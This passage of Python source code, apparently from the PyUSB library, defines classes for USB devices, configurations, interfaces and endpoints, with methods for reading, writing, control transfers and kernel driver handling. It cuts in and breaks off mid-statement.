threading.RLock()\n\n    @synchronized\n    def managed_open(self):\n        if self.handle is None:\n            self.handle = self.backend.open_device(self.dev)\n        return self.handle\n\n    @synchronized\n    def managed_close(self):\n        if self.handle is not None:\n            self.backend.close_device(self.handle)\n            self.handle = None\n\n    @synchronized\n    def managed_set_configuration(self, device, config):\n        if config is None:\n            cfg = device[0]\n        elif isinstance(config, Configuration):\n            cfg = config\n        elif config == 0: # unconfigured state\n            class MockConfiguration(object):\n                def __init__(self):\n                    self.index = None\n                    self.bConfigurationValue = 0\n            cfg = MockConfiguration()\n        else:\n            cfg = util.find_descriptor(device, bConfigurationValue=config)\n\n        if cfg is None:\n            raise ValueError(\"Invalid configuration \" + str(config))\n\n        self.managed_open()\n        self.backend.set_configuration(self.handle, cfg.bConfigurationValue)\n\n        # cache the index instead of the object to avoid cyclic references\n        # of the device and Configuration (Device tracks the _ResourceManager,\n        # which tracks the Configuration, which tracks the Device)\n        self._active_cfg_index = cfg.index\n\n        self._ep_info.clear()\n\n    @synchronized\n    def managed_claim_interface(self, device, intf):\n        self.managed_open()\n\n        if isinstance(intf, Interface):\n            i = intf.bInterfaceNumber\n        else:\n            i = intf\n\n        if i not in self._claimed_intf:\n            self.backend.claim_interface(self.handle, i)\n            self._claimed_intf.add(i)\n\n    @synchronized\n    def managed_release_interface(self, device, intf):\n        if intf is None:\n            cfg = self.get_active_configuration(device)\n            i = cfg[(0,0)].bInterfaceNumber\n        elif isinstance(intf, Interface):\n            i = intf.bInterfaceNumber\n        else:\n            i = intf\n\n        if i in self._claimed_intf:\n            try:\n                self.backend.release_interface(self.handle, i)\n            finally:\n                self._claimed_intf.remove(i)\n\n    @synchronized\n    def managed_set_interface(self, device, intf, alt):\n        if isinstance(intf, Interface):\n            i = intf\n        else:\n            cfg = self.get_active_configuration(device)\n            if intf is None:\n                intf = cfg[(0,0)].bInterfaceNumber\n            if alt is not None:\n                i = util.find_descriptor(cfg, bInterfaceNumber=intf, bAlternateSetting=alt)\n            else:\n                i = util.find_descriptor(cfg, bInterfaceNumber=intf)\n\n        self.managed_claim_interface(device, i)\n\n        if alt is None:\n            alt = i.bAlternateSetting\n\n        self.backend.set_interface_altsetting(self.handle, i.bInterfaceNumber, alt)\n\n    @synchronized\n    def setup_request(self, device, endpoint):\n        # we need the endpoint address, but the \"endpoint\" parameter\n        # can be either the a Endpoint object or the endpoint address itself\n        if isinstance(endpoint, Endpoint):\n            endpoint_address = endpoint.bEndpointAddress\n        else:\n            endpoint_address = endpoint\n\n        intf, ep = self.get_interface_and_endpoint(device, endpoint_address)\n        self.managed_claim_interface(device, intf)\n        return (intf, ep)\n\n    # Find the interface and endpoint objects which endpoint address belongs to\n    @synchronized\n    def get_interface_and_endpoint(self, device, endpoint_address):\n        try:\n            return self._ep_info[endpoint_address]\n        except KeyError:\n            for intf in self.get_active_configuration(device):\n                ep = util.find_descriptor(intf, bEndpointAddress=endpoint_address)\n                if ep is not None:\n                    self._ep_info[endpoint_address] = (intf, ep)\n                    return intf, ep\n\n            raise ValueError('Invalid endpoint address ' + hex(endpoint_address))\n\n    @synchronized\n    def get_active_configuration(self, device):\n        if self._active_cfg_index is None:\n            self.managed_open()\n            cfg = util.find_descriptor(\n                    device,\n                    bConfigurationValue=self.backend.get_configuration(self.handle)\n                )\n            if cfg is None:\n                raise USBError('Configuration not set')\n            self._active_cfg_index = cfg.index\n            return cfg\n        return device[self._active_cfg_index]\n\n    @synchronized\n    def release_all_interfaces(self, device):\n        claimed = copy.copy(self._claimed_intf)\n        for i in claimed:\n            try:\n                self.managed_release_interface(device, i)\n            except USBError:\n                # Ignore errors when releasing the interfaces\n                # When the device is disconnected, the call may fail\n                pass\n\n    @synchronized\n    def dispose(self, device, close_handle = True):\n        self.release_all_interfaces(device)\n        if close_handle:\n            self.managed_close()\n        self._ep_info.clear()\n        self._active_cfg_index = None\n\n\nclass USBError(IOError):\n    r\"\"\"Exception class for USB errors.\n\n    Backends must raise this exception when USB related errors occur.  The\n    backend specific error code is available through the 'backend_error_code'\n    member variable.\n    \"\"\"\n\n    def __init__(self, strerror, error_code = None, errno = None):\n        r\"\"\"Initialize the object.\n\n        This initializes the USBError object. The strerror and errno are passed\n        to the parent object. The error_code parameter is attributed to the\n        backend_error_code member variable.\n        \"\"\"\n\n        IOError.__init__(self, errno, strerror)\n        self.backend_error_code = error_code\n\nclass NoBackendError(ValueError):\n    r\"Exception class when a valid backend is not found.\"\n    pass\n\nclass Endpoint(object):\n    r\"\"\"Represent an endpoint object.\n\n    This class contains all fields of the Endpoint Descriptor according to the\n    USB Specification. You can access them as class properties. For example, to\n    access the field bEndpointAddress of the endpoint descriptor, you can do so:\n\n    >>> import usb.core\n    >>> dev = usb.core.find()\n    >>> for cfg in dev:\n    >>>     for i in cfg:\n    >>>         for e in i:\n    >>>             print e.bEndpointAddress\n    \"\"\"\n\n    def __init__(self, device, endpoint, interface = 0,\n                    alternate_setting = 0, configuration = 0):\n        r\"\"\"Initialize the Endpoint object.\n\n        The device parameter is the device object returned by the find()\n        function. endpoint is the endpoint logical index (not the endpoint\n        address). The configuration parameter is the logical index of the\n        configuration (not the bConfigurationValue field). The interface\n        parameter is the interface logical index (not the bInterfaceNumber\n        field) and alternate_setting is the alternate setting logical index\n        (not the bAlternateSetting value). An interface may have only one\n        alternate setting. In this case, the alternate_setting parameter\n        should be zero. By \"logical index\" we mean the relative order of the\n        configurations returned by the peripheral as a result of GET_DESCRIPTOR\n        request.\n        \"\"\"\n        self.device = device\n        self.index = endpoint\n\n        backend = device._ctx.backend\n\n        desc = backend.get_endpoint_descriptor(\n                    device._ctx.dev,\n                    endpoint,\n                    interface,\n                    alternate_setting,\n                    configuration\n                )\n\n        _set_attr(\n                desc,\n                self,\n                (\n                    'bLength',\n                    'bDescriptorType',\n                    'bEndpointAddress',\n                    'bmAttributes',\n                    'wMaxPacketSize',\n                    'bInterval',\n                    'bRefresh',\n                    'bSynchAddress',\n                    'extra_descriptors'\n                )\n            )\n\n    def __repr__(self):\n        return \"<\" + self._str() + \">\"\n\n    def __str__(self):\n        headstr = \"      \" + self._str() + \" \"\n\n        if util.endpoint_direction(self.bEndpointAddress) == util.ENDPOINT_IN:\n            direction = \"IN\"\n        else:\n            direction = \"OUT\"\n\n        return \"%s%s\\n\" % (headstr, \"=\" * (60 - len(headstr))) + \\\n        \"       %-17s:%#7x (7 bytes)\\n\" % (\n                \"bLength\", self.bLength) + \\\n        \"       %-17s:%#7x %s\\n\" % (\n                \"bDescriptorType\", self.bDescriptorType,\n                _try_lookup(_lu.descriptors, self.bDescriptorType)) + \\\n        \"       %-17s:%#7x %s\\n\" % (\n                \"bEndpointAddress\", self.bEndpointAddress, direction) + \\\n        \"       %-17s:%#7x %s\\n\" % (\n                \"bmAttributes\", self.bmAttributes,\n                _lu.ep_attributes[(self.bmAttributes & 0x3)]) + \\\n        \"       %-17s:%#7x (%d bytes)\\n\" % (\n                \"wMaxPacketSize\", self.wMaxPacketSize, self.wMaxPacketSize) + \\\n        \"       %-17s:%#7x\" % (\"bInterval\", self.bInterval)\n\n    def write(self, data, timeout = None):\n        r\"\"\"Write data to the endpoint.\n\n        The parameter data contains the data to be sent to the endpoint and\n        timeout is the time limit of the operation. The transfer type and\n        endpoint address are automatically inferred.\n\n        The method returns the number of bytes written.\n\n        For details, see the Device.write() method.\n        \"\"\"\n        return self.device.write(self, data, timeout)\n\n    def read(self, size_or_buffer, timeout = None):\n        r\"\"\"Read data from the endpoint.\n\n        The parameter size_or_buffer is either the number of bytes to\n        read or an array object where the data will be put in and timeout is the\n        time limit of the operation. The transfer type and endpoint address\n        are automatically inferred.\n\n        The method returns either an array object or the number of bytes\n        actually read.\n\n        For details, see the Device.read() method.\n        \"\"\"\n        return self.device.read(self, size_or_buffer, timeout)\n\n    def clear_halt(self):\n        r\"\"\"Clear the halt/status condition of the endpoint.\"\"\"\n        self.device.clear_halt(self.bEndpointAddress)\n\n    def _str(self):\n        if util.endpoint_direction(self.bEndpointAddress) == util.ENDPOINT_IN:\n            direction = \"IN\"\n        else:\n            direction = \"OUT\"\n\n        return (\n            \"ENDPOINT 0x%X: %s %s\" % (self.bEndpointAddress,\n            _lu.ep_attributes[(self.bmAttributes & 0x3)],\n            direction))\n\nclass Interface(object):\n    r\"\"\"Represent an interface object.\n\n    This class contains all fields of the Interface Descriptor\n    according to the USB Specification. You may access them as class\n    properties. For example, to access the field bInterfaceNumber\n    of the interface descriptor, you can do so:\n\n    >>> import usb.core\n    >>> dev = usb.core.find()\n    >>> for cfg in dev:\n    >>>     for i in cfg:\n    >>>         print i.bInterfaceNumber\n    \"\"\"\n\n    def __init__(self, device, interface = 0,\n            alternate_setting = 0, configuration = 0):\n        r\"\"\"Initialize the interface object.\n\n        The device parameter is the device object returned by the find()\n        function. The configuration parameter is the logical index of the\n        configuration (not the bConfigurationValue field). The interface\n        parameter is the interface logical index (not the bInterfaceNumber\n        field) and alternate_setting is the alternate setting logical index\n        (not the bAlternateSetting value). An interface may have only one\n        alternate setting. In this case, the alternate_setting parameter\n        should be zero.  By \"logical index\" we mean the relative order of\n        the configurations returned by the peripheral as a result of\n        GET_DESCRIPTOR request.\n        \"\"\"\n        self.device = device\n        self.alternate_index = alternate_setting\n        self.index = interface\n        self.configuration = configuration\n\n        backend = device._ctx.backend\n\n        desc = backend.get_interface_descriptor(\n                    self.device._ctx.dev,\n                    interface,\n                    alternate_setting,\n                    configuration\n                )\n\n        _set_attr(\n                desc,\n                self,\n                (\n                    'bLength',\n                    'bDescriptorType',\n                    'bInterfaceNumber',\n                    'bAlternateSetting',\n                    'bNumEndpoints',\n                    'bInterfaceClass',\n                    'bInterfaceSubClass',\n                    'bInterfaceProtocol',\n                    'iInterface',\n                    'extra_descriptors'\n                )\n            )\n\n    def __repr__(self):\n        return \"<\" + self._str() + \">\"\n\n    def __str__(self):\n        \"\"\"Show all information for the interface.\"\"\"\n\n        string = self._get_full_descriptor_str()\n        for endpoint in self:\n            string += \"\\n\" + str(endpoint)\n        return string\n\n    def endpoints(self):\n        r\"\"\"Return a tuple of the interface endpoints.\"\"\"\n        return tuple(self)\n\n    def set_altsetting(self):\n        r\"\"\"Set the interface alternate setting.\"\"\"\n        self.device.set_interface_altsetting(\n            self.bInterfaceNumber,\n            self.bAlternateSetting)\n\n    def __iter__(self):\n        r\"\"\"Iterate over all endpoints of the interface.\"\"\"\n        for i in range(self.bNumEndpoints):\n            yield Endpoint(\n                    self.device,\n                    i,\n                    self.index,\n                    self.alternate_index,\n                    self.configuration)\n\n    def __getitem__(self, index):\n        r\"\"\"Return the Endpoint object in the given position.\"\"\"\n        return Endpoint(\n                self.device,\n                index,\n                self.index,\n                self.alternate_index,\n                self.configuration)\n\n    def _str(self):\n        if self.bAlternateSetting:\n            alt_setting = \", %d\" % self.bAlternateSetting\n        else:\n            alt_setting = \"\"\n\n        return \"INTERFACE %d%s: %s\" % (self.bInterfaceNumber, alt_setting,\n            _try_lookup(_lu.interface_classes, self.bInterfaceClass,\n                default = \"Unknown Class\"))\n\n    def _get_full_descriptor_str(self):\n        headstr = \"    \" + self._str() + \" \"\n        return \"%s%s\\n\" % (headstr, \"=\" * (60 - len(headstr))) + \\\n        \"     %-19s:%#7x (9 bytes)\\n\" % (\n            \"bLength\", self.bLength) + \\\n        \"     %-19s:%#7x %s\\n\" % (\n            \"bDescriptorType\", self.bDescriptorType,\n            _try_lookup(_lu.descriptors, self.bDescriptorType)) + \\\n        \"     %-19s:%#7x\\n\" % (\n            \"bInterfaceNumber\", self.bInterfaceNumber) + \\\n        \"     %-19s:%#7x\\n\" % (\n            \"bAlternateSetting\", self.bAlternateSetting) + \\\n        \"     %-19s:%#7x\\n\" % (\n            \"bNumEndpoints\", self.bNumEndpoints) + \\\n        \"     %-19s:%#7x %s\\n\" % (\n            \"bInterfaceClass\", self.bInterfaceClass,\n            _try_lookup(_lu.interface_classes, self.bInterfaceClass)) + \\\n        \"     %-19s:%#7x\\n\" % (\n            \"bInterfaceSubClass\", self.bInterfaceSubClass) + \\\n        \"     %-19s:%#7x\\n\" % (\n            \"bInterfaceProtocol\", self.bInterfaceProtocol) + \\\n        \"     %-19s:%#7x %s\" % (\n            \"iInterface\", self.iInterface,\n            _try_get_string(self.device, self.iInterface))\n\n\nclass Configuration(object):\n    r\"\"\"Represent a configuration object.\n\n    This class contains all fields of the Configuration Descriptor according to\n    the USB Specification. You may access them as class properties.  For\n    example, to access the field bConfigurationValue of the configuration\n    descriptor, you can do so:\n\n    >>> import usb.core\n    >>> dev = usb.core.find()\n    >>> for cfg in dev:\n    >>>     print cfg.bConfigurationValue\n    \"\"\"\n\n    def __init__(self, device, configuration = 0):\n        r\"\"\"Initialize the configuration object.\n\n        The device parameter is the device object returned by the find()\n        function. The configuration parameter is the logical index of the\n        configuration (not the bConfigurationValue field). By \"logical index\"\n        we mean the relative order of the configurations returned by the\n        peripheral as a result of GET_DESCRIPTOR request.\n        \"\"\"\n        self.device = device\n        self.index = configuration\n\n        backend = device._ctx.backend\n\n        desc = backend.get_configuration_descriptor(\n                self.device._ctx.dev,\n                configuration\n            )\n\n        _set_attr(\n                desc,\n                self,\n                (\n                    'bLength',\n                    'bDescriptorType',\n                    'wTotalLength',\n                    'bNumInterfaces',\n                    'bConfigurationValue',\n                    'iConfiguration',\n                    'bmAttributes',\n                    'bMaxPower',\n                    'extra_descriptors'\n                )\n            )\n\n    def __repr__(self):\n        return \"<\" + self._str() + \">\"\n\n    def __str__(self):\n        string = self._get_full_descriptor_str()\n        for interface in self:\n            string += \"\\n%s\" % str(interface)\n        return string\n\n    def interfaces(self):\n        r\"\"\"Return a tuple of the configuration interfaces.\"\"\"\n        return tuple(self)\n\n    def set(self):\n        r\"\"\"Set this configuration as the active one.\"\"\"\n        self.device.set_configuration(self.bConfigurationValue)\n\n    def __iter__(self):\n        r\"\"\"Iterate over all interfaces of the configuration.\"\"\"\n        for i in range(self.bNumInterfaces):\n            alt = 0\n            try:\n                while True:\n                    yield Interface(self.device, i, alt, self.index)\n                    alt += 1\n            except (USBError, IndexError):\n                pass\n\n    def __getitem__(self, index):\n        r\"\"\"Return the Interface object in the given position.\n\n        index is a tuple of two values with interface index and\n        alternate setting index, respectivally. Example:\n\n        >>> interface = config[(0, 0)]\n        \"\"\"\n        return Interface(self.device, index[0], index[1], self.index)\n\n\n    def _str(self):\n        return \"CONFIGURATION %d: %d mA\" % (\n            self.bConfigurationValue,\n            _lu.MAX_POWER_UNITS_USB2p0 * self.bMaxPower)\n\n    def _get_full_descriptor_str(self):\n        headstr = \"  \" + self._str() + \" \"\n        if self.bmAttributes & (1<<6):\n            powered = \"Self\"\n        else:\n            powered = \"Bus\"\n\n        if self.bmAttributes & (1<<5):\n            remote_wakeup = \", Remote Wakeup\"\n        else:\n            remote_wakeup = \"\"\n\n        return \"%s%s\\n\" % (headstr, \"=\" * (60 - len(headstr))) + \\\n        \"   %-21s:%#7x (9 bytes)\\n\" % (\n            \"bLength\", self.bLength) + \\\n        \"   %-21s:%#7x %s\\n\" % (\n            \"bDescriptorType\", self.bDescriptorType,\n            _try_lookup(_lu.descriptors, self.bDescriptorType)) + \\\n        \"   %-21s:%#7x (%d bytes)\\n\" % (\n            \"wTotalLength\", self.wTotalLength, self.wTotalLength) + \\\n        \"   %-21s:%#7x\\n\" % (\n            \"bNumInterfaces\", self.bNumInterfaces) + \\\n        \"   %-21s:%#7x\\n\" % (\n            \"bConfigurationValue\", self.bConfigurationValue) + \\\n        \"   %-21s:%#7x %s\\n\" % (\n            \"iConfiguration\", self.iConfiguration,\n            _try_get_string(self.device, self.iConfiguration)) + \\\n        \"   %-21s:%#7x %s Powered%s\\n\" % (\n            \"bmAttributes\", self.bmAttributes, powered, remote_wakeup\n            # bit 7 is high, bit 4..0 are 0\n            ) + \\\n        \"   %-21s:%#7x (%d mA)\" % (\n            \"bMaxPower\", self.bMaxPower,\n            _lu.MAX_POWER_UNITS_USB2p0 * self.bMaxPower)\n            # FIXME : add a check for superspeed vs usb 2.0\n\nclass Device(_objfinalizer.AutoFinalizedObject):\n    r\"\"\"Device object.\n\n    This class contains all fields of the Device Descriptor according to the\n    USB Specification. You may access them as class properties.  For example,\n    to access the field bDescriptorType of the device descriptor, you can\n    do so:\n\n    >>> import usb.core\n    >>> dev = usb.core.find()\n    >>> dev.bDescriptorType\n\n    Additionally, the class provides methods to communicate with the hardware.\n    Typically, an application will first call the set_configuration() method to\n    put the device in a known configured state, optionally call the\n    set_interface_altsetting() to select the alternate setting (if there is\n    more than one) of the interface used, and call the write() and read()\n    methods to send and receive data, respectively.\n\n    When working in a new hardware, the first try could be like this:\n\n    >>> import usb.core\n    >>> dev = usb.core.find(idVendor=myVendorId, idProduct=myProductId)\n    >>> dev.set_configuration()\n    >>> dev.write(1, 'test')\n\n    This sample finds the device of interest (myVendorId and myProductId should\n    be replaced by the corresponding values of your device), then configures\n    the device (by default, the configuration value is 1, which is a typical\n    value for most devices) and then writes some data to the endpoint 0x01.\n\n    Timeout values for the write, read and ctrl_transfer methods are specified\n    in miliseconds. If the parameter is omitted, Device.default_timeout value\n    will be used instead. This property can be set by the user at anytime.\n    \"\"\"\n\n    def __repr__(self):\n        return \"<\" + self._str() + \">\"\n\n    def __str__(self):\n        string = self._get_full_descriptor_str()\n        try:\n            for configuration in self:\n                string += \"\\n%s\" % str(configuration)\n        except USBError:\n            try:\n                configuration = self.get_active_configuration()\n                string += \"\\n%s\" % (configuration.info)\n            except USBError:\n                string += \" USBError Accessing Configurations\"\n        return string\n\n    def configurations(self):\n        r\"\"\"Return a tuple of the device configurations.\"\"\"\n        return tuple(self)\n\n    def __init__(self, dev, backend):\n        r\"\"\"Initialize the Device object.\n\n        Library users should normally get a Device instance through\n        the find function. The dev parameter is the identification\n        of a device to the backend and its meaning is opaque outside\n        of it. The backend parameter is a instance of a backend\n        object.\n        \"\"\"\n        self._ctx = _ResourceManager(dev, backend)\n        self.__default_timeout = _DEFAULT_TIMEOUT\n        self._serial_number, self._product, self._manufacturer = None, None, None\n        self._langids = None\n\n        desc = backend.get_device_descriptor(dev)\n\n        _set_attr(\n                desc,\n                self,\n                (\n                    'bLength',\n                    'bDescriptorType',\n                    'bcdUSB',\n                    'bDeviceClass',\n                    'bDeviceSubClass',\n                    'bDeviceProtocol',\n                    'bMaxPacketSize0',\n                    'idVendor',\n                    'idProduct',\n                    'bcdDevice',\n                    'iManufacturer',\n                    'iProduct',\n                    'iSerialNumber',\n                    'bNumConfigurations',\n                    'address',\n                    'bus',\n                    'port_number',\n                    'port_numbers',\n                    'speed',\n                )\n            )\n\n        if desc.bus is not None:\n            self.bus = int(desc.bus)\n        else:\n            self.bus = None\n\n        if desc.address is not None:\n            self.address = int(desc.address)\n        else:\n            self.address = None\n\n        if desc.port_number is not None:\n            self.port_number = int(desc.port_number)\n        else:\n            self.port_number = None\n\n        if desc.speed is not None:\n            self.speed = int(desc.speed)\n        else:\n            self.speed = None\n\n    @property\n    def langids(self):\n        \"\"\" Return the USB device's supported language ID codes.\n\n        These are 16-bit codes familiar to Windows developers, where for\n        example instead of en-US you say 0x0409. USB_LANGIDS.pdf on the usb.org\n        developer site for more info. String requests using a LANGID not\n        in this array should not be sent to the device.\n\n        This property will cause some USB traffic the first time it is accessed\n        and cache the resulting value for future use.\n        \"\"\"\n        if self._langids is None:\n            try:\n                self._langids = util.get_langids(self)\n            except USBError:\n                self._langids = ()\n        return self._langids\n\n    @property\n    def serial_number(self):\n        \"\"\" Return the USB device's serial number string descriptor.\n\n        This property will cause some USB traffic the first time it is accessed\n        and cache the resulting value for future use.\n        \"\"\"\n        if self._serial_number is None:\n            self._serial_number = util.get_string(self, self.iSerialNumber)\n        return self._serial_number\n\n    @property\n    def product(self):\n        \"\"\" Return the USB device's product string descriptor.\n\n        This property will cause some USB traffic the first time it is accessed\n        and cache the resulting value for future use.\n        \"\"\"\n        if self._product is None:\n            self._product = util.get_string(self, self.iProduct)\n        return self._product\n\n    @property\n    def manufacturer(self):\n        \"\"\" Return the USB device's manufacturer string descriptor.\n\n        This property will cause some USB traffic the first time it is accessed\n        and cache the resulting value for future use.\n        \"\"\"\n        if self._manufacturer is None:\n            self._manufacturer = util.get_string(self, self.iManufacturer)\n        return self._manufacturer\n\n    @property\n    def backend(self):\n        \"\"\"Return the backend being used by the device.\"\"\"\n        return self._ctx.backend\n\n    def set_configuration(self, configuration = None):\n        r\"\"\"Set the active configuration.\n\n        The configuration parameter is the bConfigurationValue field of the\n        configuration you want to set as active. If you call this method\n        without parameter, it will use the first configuration found.  As a\n        device hardly ever has more than one configuration, calling the method\n        without arguments is enough to get the device ready.\n        \"\"\"\n        self._ctx.managed_set_configuration(self, configuration)\n\n    def get_active_configuration(self):\n        r\"\"\"Return a Configuration object representing the current\n        configuration set.\n        \"\"\"\n        return self._ctx.get_active_configuration(self)\n\n    def set_interface_altsetting(self, interface = None, alternate_setting = None):\n        r\"\"\"Set the alternate setting for an interface.\n\n        When you want to use an interface and it has more than one alternate\n        setting, you should call this method to select the appropriate\n        alternate setting. If you call the method without one or the two\n        parameters, it will be selected the first one found in the Device in\n        the same way of the set_configuration method.\n\n        Commonly, an interface has only one alternate setting and this call is\n        not necessary. For most devices, either it has more than one\n        alternate setting or not, it is not harmful to make a call to this\n        method with no arguments, as devices will silently ignore the request\n        when there is only one alternate setting, though the USB Spec allows\n        devices with no additional alternate setting return an error to the\n        Host in response to a SET_INTERFACE request.\n\n        If you are in doubt, you may want to call it with no arguments wrapped\n        by a try/except clause:\n\n        >>> try:\n        >>>     dev.set_interface_altsetting()\n        >>> except usb.core.USBError:\n        >>>     pass\n        \"\"\"\n        self._ctx.managed_set_interface(self, interface, alternate_setting)\n\n    def clear_halt(self, ep):\n        r\"\"\" Clear the halt/stall condition for the endpoint ep.\"\"\"\n        if isinstance(ep, Endpoint):\n            ep = ep.bEndpointAddress\n        self._ctx.managed_open()\n        self._ctx.backend.clear_halt(self._ctx.handle, ep)\n\n    def reset(self):\n        r\"\"\"Reset the device.\"\"\"\n        self._ctx.managed_open()\n        self._ctx.dispose(self, False)\n        self._ctx.backend.reset_device(self._ctx.handle)\n        self._ctx.dispose(self, True)\n\n    def write(self, endpoint, data, timeout = None):\n        r\"\"\"Write data to the endpoint.\n\n        This method is used to send data to the device. The endpoint parameter\n        corresponds to the bEndpointAddress member whose endpoint you want to\n        communicate with.\n\n        The data parameter should be a sequence like type convertible to\n        the array type (see array module).\n\n        The timeout is specified in miliseconds.\n\n        The method returns the number of bytes written.\n        \"\"\"\n        backend = self._ctx.backend\n\n        fn_map = {\n                    util.ENDPOINT_TYPE_BULK:backend.bulk_write,\n                    util.ENDPOINT_TYPE_INTR:backend.intr_write,\n                    util.ENDPOINT_TYPE_ISO:backend.iso_write\n                }\n\n        intf, ep = self._ctx.setup_request(self, endpoint)\n        fn = fn_map[util.endpoint_type(ep.bmAttributes)]\n\n        return fn(\n                self._ctx.handle,\n                ep.bEndpointAddress,\n                intf.bInterfaceNumber,\n                _interop.as_array(data),\n                self.__get_timeout(timeout)\n            )\n\n    def read(self, endpoint, size_or_buffer, timeout = None):\n        r\"\"\"Read data from the endpoint.\n\n        This method is used to receive data from the device. The endpoint\n        parameter corresponds to the bEndpointAddress member whose endpoint\n        you want to communicate with. The size_or_buffer parameter either\n        tells how many bytes you want to read or supplies the buffer to\n        receive the data (it *must* be an object of the type array).\n\n        The timeout is specified in miliseconds.\n\n        If the size_or_buffer parameter is the number of bytes to read, the\n        method returns an array object with the data read. If the\n        size_or_buffer parameter is an array object, it returns the number\n        of bytes actually read.\n        \"\"\"\n        backend = self._ctx.backend\n\n        fn_map = {\n                    util.ENDPOINT_TYPE_BULK:backend.bulk_read,\n                    util.ENDPOINT_TYPE_INTR:backend.intr_read,\n                    util.ENDPOINT_TYPE_ISO:backend.iso_read\n                }\n\n        intf, ep = self._ctx.setup_request(self, endpoint)\n        fn = fn_map[util.endpoint_type(ep.bmAttributes)]\n\n        if isinstance(size_or_buffer, array.array):\n            buff = size_or_buffer\n        else: # here we consider it is a integer\n            buff = util.create_buffer(size_or_buffer)\n\n        ret = fn(\n                self._ctx.handle,\n                ep.bEndpointAddress,\n                intf.bInterfaceNumber,\n                buff,\n                self.__get_timeout(timeout))\n\n        if isinstance(size_or_buffer, array.array):\n            return ret\n        elif ret != len(buff) * buff.itemsize:\n            return buff[:ret]\n        else:\n            return buff\n\n    def ctrl_transfer(self, bmRequestType, bRequest, wValue=0, wIndex=0,\n            data_or_wLength = None, timeout = None):\n        r\"\"\"Do a control transfer on the endpoint 0.\n\n        This method is used to issue a control transfer over the endpoint 0\n        (endpoint 0 is required to always be a control endpoint).\n\n        The parameters bmRequestType, bRequest, wValue and wIndex are the same\n        of the USB Standard Control Request format.\n\n        Control requests may or may not have a data payload to write/read.\n        In cases which it has, the direction bit of the bmRequestType\n        field is used to infer the desired request direction. For\n        host to device requests (OUT), data_or_wLength parameter is\n        the data payload to send, and it must be a sequence type convertible\n        to an array object. In this case, the return value is the number\n        of bytes written in the data payload. For device to host requests\n        (IN), data_or_wLength is either the wLength parameter of the control\n        request specifying the number of bytes to read in data payload, and\n        the return value is an array object with data read, or an array\n        object which the data will be read to, and the return value is the\n        number of bytes read.\n        \"\"\"\n        try:\n            buff = util.create_buffer(data_or_wLength)\n        except TypeError:\n            buff = _interop.as_array(data_or_wLength)\n\n        self._ctx.managed_open()\n\n        # Thanks to Johannes Stezenbach to point me out that we need to\n        # claim the recipient interface\n        recipient = bmRequestType & 3\n        rqtype = bmRequestType & (3 << 5)\n        if recipient == util.CTRL_RECIPIENT_INTERFACE \\\n                and rqtype != util.CTRL_TYPE_VENDOR:\n            interface_number = wIndex & 0xff\n            self._ctx.managed_claim_interface(self, interface_number)\n\n        ret = self._ctx.backend.ctrl_transfer(\n                                    self._ctx.handle,\n                                    bmRequestType,\n                                    bRequest,\n                                    wValue,\n                                    wIndex,\n                                    buff,\n                                    self.__get_timeout(timeout))\n\n        if isinstance(data_or_wLength, array.array) \\\n                or util.ctrl_direction(bmRequestType) == util.CTRL_OUT:\n            return ret\n        elif ret != len(buff) * buff.itemsize:\n            return buff[:ret]\n        else:\n            return buff\n\n    def is_kernel_driver_active(self, interface):\n        r\"\"\"Determine if there is kernel driver associated with the interface.\n\n        If a kernel driver is active, the object will be unable to perform\n        I/O.\n\n        The interface parameter is the device interface number to check.\n        \"\"\"\n        self._ctx.managed_open()\n        return self._ctx.backend.is_kernel_driver_active(\n                self._ctx.handle,\n                interface)\n\n    def detach_kernel_driver(self, interface):\n        r\"\"\"Detach a kernel driver.\n\n        If successful, you will then be able to perform I/O.\n\n        The interface parameter is the device interface number to detach the\n        driver from.\n        \"\"\"\n        self._ctx.managed_open()\n        self._ctx.backend.detach_kernel_driver(\n            self._ctx.handle,\n            interface)\n\n    def attach_kernel_driver(self, interface):\n        r\"\"\"Re-attach an interface's kernel driver, which was previously\n        detached using detach_kernel_driver().\n\n        The interface parameter is the device interface number to attach the\n        driver to.\n        \"\"\"\n        self._ctx.managed_open()\n        self._ctx.backend.attach_kernel_driver(\n            self._ctx.handle,\n            interface)\n\n    def __iter__(self):\n        r\"\"\"Iterate over all configurations of the device.\"\"\"\n        for i in range(self.bNumConfigurations):\n            yield Configuration(self, i)\n\n    def __getitem__(self, index):\n        r\"\"\"Return the Configuration object in the given position.\"\"\"\n        return Configuration(self, index)\n\n    def _finalize_object(self):\n        self._ctx.dispose(self)\n\n    def __get_timeout(self, timeout):\n        if timeout is not None:\n            return timeout\n        return self.__default_timeout\n\n    def __set_def_tmo(self, tmo):\n        if tmo < 0:\n            raise ValueError('Timeout cannot be a negative value')\n        self.__default_timeout = tmo\n\n    def __get_def_tmo(self):\n        return self.__default_timeout\n\n    def _str(self):\n        return \"DEVICE ID %04x:%04x on Bus %03d Address %03d\" % (\n            self.idVendor, self.idProduct, self.bus, self.address)\n\n    def _get_full_descriptor_str(self):\n        headstr = self._str() + \" \"\n\n        if self.bcdUSB & 0xf:\n            low_bcd_usb = str(self.bcdUSB & 0xf)\n        else:\n            low_bcd_usb = \"\"\n\n        if self.bcdDevice & 0xf:\n            low_bcd_device = str(self.bcdDevice & 0xf)\n        else:\n            low_bcd_device = \"\"\n\n        return \"%s%s\\n\" %  (headstr, \"=\" * (60 - len(headstr))) + \\\n        \" %-23s:%#7x (18 bytes)\\n\" % (\n            \"bLength\", self.bLength) + \\\n        \" %-23s:%#7x %s\\n\" % (\n            \"bDescriptorType\", self.bDescriptorType,\n            _try_lookup(_lu.descriptors, self.bDescriptorType)) + \\\n        \" %-23s:%#7x USB %d.%d%s\\n\" % (\n            \"bcdUSB\", self.bcdUSB, (self.bcdUSB & 0xff00)>>8,\n            (self.bcdUSB & 0xf0) >> 4, low_bcd_usb) + \\\n        \" %-23s:%#7x %s\\n\" % (\n            \"bDeviceClass\", self.bDeviceClass,\n            _try_lookup(_lu.device_classes, self.bDeviceClass)) + \\\n        \" %-23s:%#7x\\n\" % (\n            \"bDeviceSubClass\", self.bDeviceSubClass) + \\\n        \" %-23s:%#7x\\n\" % (\n            \"bDeviceProtocol\", self.bDeviceProtocol) + \\\n        \" %-23s:%#7x (%d bytes)\\n\" % (\n            \"bMaxPacketSize0\", self.bMaxPacketSize0, self.bMaxPacketSize0) + \\\n        \" %-23s: %#06x\\n\" % (\n            \"idVendor\", self.idVendor) + \\\n        \" %-23s: %#06x\\n\" % (\n            \"idProduct\", self.idProduct) + \\\n        \" %-23s:%#7x Device %d.%d%s\\n\" % (\n            \"bcdDevice\", self.bcdDevice, (self.bcdDevice & 0xff00)>>8,\n            (self.bcdDevice & 0xf0) >> 4, low_bcd_device) + \\\n        